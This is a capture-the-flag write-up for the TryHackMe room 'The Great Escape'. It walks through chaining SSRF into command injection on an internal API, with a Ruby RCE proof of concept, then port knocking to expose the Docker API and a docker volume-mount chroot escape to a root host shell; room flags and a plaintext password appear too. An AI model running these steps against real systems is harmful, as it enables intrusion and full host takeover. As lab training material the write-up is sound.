The Great Escape TryHackMe Write-up

Shivam Taneja
6 min readOct 30, 2022

--

Room

  • Name: The Great Escape
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Our devs have created an awesome new site. Can you break out of the sandbox?

The Great Escape

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient

Security.txt

What is security.txt? Take a look at my article on the subject.

On the web app we can hit /.well-known/security.txt:

Hey you found me!  The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.  See https://securitytxt.org/ for more information.  Ping /api/fl46 with a HEAD request for a nifty treat.

Let’s do that.

$ curl -I http://10.10.70.53/api/fl46  HTTP/1.1 200 OK  Server: nginx/1.19.6  Date: Thu, 18 Mar 2021 09:21:55 GMT  Connection: keep-alive  flag: THM{edited}

Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}

Web discovery

Unauthenticated we can only see a login form. But I quickly discovered /robots.txt giving some interesting paths to try:

User-agent: *  Allow: /  Disallow: /api/  # Disallow: /exif-util  Disallow: /*.bak.txt$
  • /api/: I have no information about the API yet so let's skip it for now
  • /exif-util/ it has an unauthenticated upload form
  • /*.bak.txt$ I'll be able to leak some source code with that

I retrieved the source code of the upload form at /exif-util.bak.txt.

<template>    <section>      <div class="container">        <h1 class="title">Exif Utils</h1>        <section>          <form @submit.prevent="submitUrl" name="submitUrl">            <b-field grouped label="Enter a URL to an image">              <b-input                placeholder="http://..."                expanded                v-model="url"              ></b-input>              <b-button native-type="submit" type="is-dark">                Submit              </b-button>            </b-field>          </form>        </section>        <section v-if="hasResponse">          <pre>            {{ response }}          </pre>        </section>      </div>    </section>  </template>  <script>  export default {    name: 'Exif Util',    auth: false,    data() {      return {        hasResponse: false,        response: '',        url: '',      }    },    methods: {      async submitUrl() {        this.hasResponse = false        console.log('Submitted URL')        try {          const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {            params: {              url: this.url,            },          })          this.hasResponse = true          this.response = response        } catch (err) {          console.log(err)          this.$buefy.notification.open({            duration: 4000,            message: 'Something bad happened, please verify that the URL is valid',            type: 'is-danger',            position: 'is-top',            hasIcon: true,          })        }      },    },  }  </script>

This will send our image URL, either a HTTP link (http://example.org/image.png) or data-URI (data:image/png;base64,iVBOR...) to an internal API (http://api-dev-backup:8080/exif). But we have an externally exposed API and trying to reach http://10.10.190.91/api/exif gives a 500 error because the endpoint exists but we did not provide any argument and it must be expecting the url too. So /api/exif exposed on port 80 must be the same API as /exif on the internal port 8080.

But is there a difference in filtering between the production and backup API?

For now I don’t know, but with the error message I get I know it’s a Java backend: An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection.

Also if I make a SSRF to a controlled URL with ssrf-sheriff (eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000) I retrieve the following entry leaking Java version (11.0.8):

2021-02-16T10:50:48.652+0100    info    handler/handler.go:105  New inbound HTTP request        {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}

Web exploitation

We can reach the internal dev APi via the public one (SSRF): /api/exif?url=http://api-dev-backup:8080/exif?url=xxx and it seems that the internal one is vulnerable to command injection:

/api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id

HTTP/1.1 200 OK  Server: nginx/1.19.6  Date: Thu, 18 Mar 2021 09:15:06 GMT  Content-Type: text/plain;charset=UTF-8  Content-Length: 360  Connection: close  An error occurred: File format could not be determined                  Retrieved Content                  ----------------------------------------                  An error occurred: File format could not be determined                 Retrieved Content                 ----------------------------------------                 uid=0(root) gid=0(root) groups=0(root)

Quick PoC in Ruby to ease the epxloitation:

require 'httpclient'  VULN_URL = 'http://10.10.70.53/api/exif'  cmd = ARGV[0]  data = {    'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}"  }  clnt = HTTPClient.new  res = clnt.get(VULN_URL, data)  if /Request contains banned words/.match?(res.body)    puts 'We hit blacklist'  else    stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0]    puts stdout  end

Run it:

$ ruby rce.rb id  uid=0(root) gid=0(root) groups=0(root)  $ ruby rce.rb 'ls -lhA /root'  total 20K  lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null  -rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc  drwxr-xr-x 1 root root 4.0K Jan  7 16:48 .git  -rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig  -rw-r--r-- 1 root root  148 Aug 17  2015 .profile  -rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt  $ ruby rce.rb 'cat /root/dev-note.txt'  Hey guys,  Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.  Anyways, the password is fluffybunnies123  Cheers,  Hydra  $ ruby rce.rb 'ls -lhA /.dockerenv'  -rwxr-xr-x 1 root root 0 Jan  7 22:14 /.dockerenv

It seems we are running as root in a docker container and we found a password in dev-note.txt: fluffybunnies123. It's a valid password for the web app or SSH.

System enumeration

The note is saying file were removed and we have a git repository.

Let’s dig in the git repository:

$ ruby rce.rb 'cd /root; git --no-pager log --oneline'  5242825 fixed the dev note  4530ff7 Removed the flag and original dev note b/c Security  a3d30a7 Added the flag and dev notes  $ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p'  commit a3d30a7d0510dc6565ff9316e3fb84434916dee8  Author: Hydra <hydragyrum@example.com>  Date:   Wed Jan 6 20:51:39 2021 +0000      Added the flag and dev notes  diff --git a/dev-note.txt b/dev-note.txt  new file mode 100644  index 0000000..89dcd01  --- /dev/null  +++ b/dev-note.txt  @@ -0,0 +1,9 @@  +Hey guys,  +  +I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.  +  +Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.  +  +Cheers,  +  +Hydra  \ No newline at end of file  diff --git a/flag.txt b/flag.txt  new file mode 100644  index 0000000..aae8129  --- /dev/null  +++ b/flag.txt  @@ -0,0 +1,3 @@  +You found the root flag, or did you?  +  +THM{edited}  \ No newline at end of file

Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}

Port knocking

The second dev note was telling us to do some port knocking on TCP ports 42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.

We can write a quick port knocker in Ruby:

require 'socket'  ports = [42, 1337, 10420, 6969, 63000]  ports.each do |port|    puts "[+] Port: #{port}"    sleep 1    begin      s = TCPSocket.new '10.10.70.53', port      s.close    rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH      next    end  end

Also looking at the List of TCP and UDP port numbers we can find the docker related well known ports:

  • 2375: Docker REST API (plain)
  • 2376: Docker REST API (SSL)
  • 2377: Docker Swarm cluster management communications

It’s will be most likely be exposed on port 2375.

Let’s port knock and then see if the docker port is open:

$ ruby port-knock.rb  [+] Port: 42  [+] Port: 1337  [+] Port: 10420  [+] Port: 6969  [+] Port: 63000  $ nmap -p 2375 10.10.70.53  Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET  Nmap scan report for 10.10.70.53  Host is up (0.034s latency).  PORT     STATE SERVICE  2375/tcp open  docker  Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Docker enumeration

Let’s use an environment variable (DOCKER_HOST) to use the remotely exposed one for our current session. Then we can enumerate.

$ export DOCKER_HOST=tcp://10.10.70.53:2375  $ docker ps  CONTAINER ID   IMAGE          COMMAND                  CREATED        STATUS       PORTS                  NAMES  49fe455a9681   frontend       "/docker-entrypoint.…"   2 months ago   Up 2 hours   0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1  4b51f5742aad   exif-api-dev   "./application -Dqua…"   2 months ago   Up 2 hours                          dockerescapecompose_api-dev-backup_1  cb83912607b9   exif-api       "./application -Dqua…"   2 months ago   Up 2 hours   8080/tcp               dockerescapecompose_api_1  548b701caa56   endlessh       "/endlessh -v"           2 months ago   Up 2 hours   0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1  $ docker image ls  REPOSITORY                                    TAG       IMAGE ID       CREATED         SIZE  exif-api-dev                                  latest    4084cb55e1c7   2 months ago    214MB  exif-api                                      latest    923c5821b907   2 months ago    163MB  frontend                                      latest    577f9da1362e   2 months ago    138MB  endlessh                                      latest    7bde5182dc5e   2 months ago    5.67MB  nginx                                         latest    ae2feff98a0c   3 months ago    133MB  debian                                        10-slim   4a9cd57610d6   3 months ago    69.2MB  registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   3 months ago    103MB  alpine                                        3.9       78a2ce922f86   10 months ago   5.55MB

There is a generic Alpine image.

EoP: Docker exploitation

Let’s check the GTFObin for docker and use it:

$ gtfoblookup linux shell docker  docker:      shell:          Description: The resulting is a root shell.          Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh  $ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh  # id  uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)  # cat /root/flag.txt  Congrats, you found the real flag!  THM{edited}

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Shivam Taneja
Shivam Taneja

Written by Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.

No responses yet

Write a response